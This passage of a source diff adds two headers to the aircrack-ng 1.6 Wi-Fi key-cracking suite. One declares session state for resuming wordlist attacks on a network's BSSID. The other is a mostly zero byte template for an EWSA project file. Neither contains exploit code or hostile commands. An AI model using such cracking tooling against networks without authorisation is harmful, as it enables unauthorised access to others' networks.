+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifndef _AIRCRACK_NG_SESSION_H
+#define _AIRCRACK_NG_SESSION_H
+
+#include <inttypes.h>
+#include <pthread.h>
+
+struct session
+{
+	char * filename; // Session filename
+
+	// Session file content
+	char * working_dir; // Line 1: Current working directory
+	unsigned char bssid[6]; // Line 2: BSSID
+	unsigned char wordlist_id; // Line 3: Wordlist # (there can be multiple
+	// wordlist loaded using -w
+	int64_t pos; // Line 3: Position in the wordlist ID.
+	long long int
+		nb_keys_tried; // Line 3: Amount of keys already tried, purely for stats
+	int argc; // Line 4: amount of arguments
+	char ** argv; // Line 5 and further: Arguments (1 per line)
+	pthread_mutex_t
+		mutex; // Locking for when updating wordlist settings and saving file
+	unsigned char is_loaded;
+	// Set to 1 when session is loaded
+};
+
+struct session * ac_session_new(void);
+int ac_session_destroy(struct session * s);
+void ac_session_free(struct session ** s);
+int ac_session_init(struct session * s);
+
+// Validate and set the different values in the session structure
+int ac_session_set_working_directory(struct session * session,
+									 const char * str);
+int ac_session_set_bssid(struct session * session, const char * str);
+int ac_session_set_wordlist_settings(struct session * session,
+									 const char * str);
+int ac_session_set_amount_arguments(struct session * session, const char * str);
+
+// Load from file
+struct session * ac_session_load(const char * filename);
+
+// Save to file
+int ac_session_save(struct session * s,
+					uint64_t pos,
+					long long int nb_keys_tried);
+
+struct session *
+ac_session_from_argv(const int argc, char ** argv, const char * filename);
+
+#endif // _AIRCRACK_NG_SESSION_H

aircrack-ng-1.6.tar.gz/src/aircrack-ng/wkp-frame.h Added

@@ -0,0 +1,256 @@
+/*
+ *  Elcomsoft Wireless Security Auditor (EWSA) Project File's Frame (3.02)
+ *
+ *  Copyright (C) 2010 ZhaoChunsheng
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#define WKP_FRAME_LENGTH 2622
+
+unsigned char wkp_frame[WKP_FRAME_LENGTH]
+	= {0x43, 0x50, 0x57, 0x45, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
+	   0x01, 0x00, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00, 0x80, 0x06, 0x00, 0x00,
+	   0xc2, 0xe6, 0x8f, 0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
+	   0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
+	   0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00,
+	   0x6e, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x73, 0x00, 0x68, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
